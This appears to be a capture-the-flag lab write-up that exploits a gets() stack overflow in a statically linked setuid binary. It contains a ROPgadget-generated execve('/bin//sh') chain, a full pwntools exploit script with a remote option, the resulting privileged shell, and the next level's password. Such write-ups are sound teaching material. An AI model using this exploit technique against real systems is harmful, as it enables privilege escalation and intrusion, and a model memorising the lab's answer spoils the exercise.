For this lab, we are given a program and its corresponding source code:

#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector --static -o lab5B lab5B.c */

int main()
{

    char buffer[128] = {0};

    printf("Insert ROP chain here:\n");
    gets(buffer);

    return EXIT_SUCCESS;
}

We can see that it is statically compiled. Therefore, we cannot perform a traditional ret-2-libc attack and call system() since no libraries are dynamically linked.

lab5B@warzone:/tmp/lab5B$ file /levels/lab05/lab5B
/levels/lab05/lab5B: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=09ad107d6eb5518c5781ccffdad51b39a28e237e, not stripped

However, this doesn’t prevent us from chaining together ROP gadgets to spawn a shell.

We can generate the ROP chain using ROPgadget and place it on the stack, overwriting the saved return address with the first gadget.

lab5B@warzone:/tmp/lab5B$ ROPgadget --binary /levels/lab05/lab5B --ropchain

[...]

- Step 5 -- Build the ROP chain

	#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<I', 0x0806ec5a) # pop edx ; ret
	p += pack('<I', 0x080eb060) # @ .data
	p += pack('<I', 0x080bbf26) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ec5a) # pop edx ; ret
	p += pack('<I', 0x080eb064) # @ .data + 4
	p += pack('<I', 0x080bbf26) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ec5a) # pop edx ; ret
	p += pack('<I', 0x080eb068) # @ .data + 8
	p += pack('<I', 0x080544e0) # xor eax, eax ; ret
	p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080eb060) # @ .data
	p += pack('<I', 0x080e55ad) # pop ecx ; ret
	p += pack('<I', 0x080eb068) # @ .data + 8
	p += pack('<I', 0x0806ec5a) # pop edx ; ret
	p += pack('<I', 0x080eb068) # @ .data + 8
	p += pack('<I', 0x080544e0) # xor eax, eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x0807b6b6) # inc eax ; ret
	p += pack('<I', 0x08049401) # int 0x80

Putting everything together, the following exploit will give us a shell.

Solution

#!/usr/bin/env python

from pwn import *
import sys
from struct import pack

def exploit(r):
  p = ''
  
  p += pack('<I', 0x0806ec5a) # pop edx ; ret
  p += pack('<I', 0x080eb060) # @ .data
  p += pack('<I', 0x080bbf26) # pop eax ; ret
  p += '/bin'
  p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806ec5a) # pop edx ; ret
  p += pack('<I', 0x080eb064) # @ .data + 4
  p += pack('<I', 0x080bbf26) # pop eax ; ret
  p += '//sh'
  p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806ec5a) # pop edx ; ret
  p += pack('<I', 0x080eb068) # @ .data + 8
  p += pack('<I', 0x080544e0) # xor eax, eax ; ret
  p += pack('<I', 0x0809a95d) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x080481c9) # pop ebx ; ret
  p += pack('<I', 0x080eb060) # @ .data
  p += pack('<I', 0x080e55ad) # pop ecx ; ret
  p += pack('<I', 0x080eb068) # @ .data + 8
  p += pack('<I', 0x0806ec5a) # pop edx ; ret
  p += pack('<I', 0x080eb068) # @ .data + 8
  p += pack('<I', 0x080544e0) # xor eax, eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x0807b6b6) # inc eax ; ret
  p += pack('<I', 0x08049401) # int 0x80 
  
  r.recvuntil("here:")
  r.sendline("A"*140+p)
  
  r.interactive()
if __name__ == "__main__":
  log.info("For remote: %s HOST PORT" % sys.argv[0])
  if len(sys.argv) > 1:
    r = remote(sys.argv[1], int(sys.argv[2]))
    exploit(r)
  else:
    r = process(['fixenv', '/levels/lab05/lab5B'])
    print util.proc.pidof(r)
    pause()
    exploit(r)
lab5B@warzone:/tmp/lab5B$ python solve.py 
[*] For remote: solve.py HOST PORT
[+] Starting program '/usr/local/bin/fixenv' argv=['fixenv', '/levels/lab05/lab5B'] : Done
[23268]
[*] Paused (press any to continue)
[*] Switching to interactive mode

$ id
uid=1019(lab5B) gid=1020(lab5B) euid=1020(lab5A) groups=1021(lab5A),1001(gameuser),1020(lab5B)
$ cat /home/lab5A/.pass
th4ts_th3_r0p_i_lik3_2_s33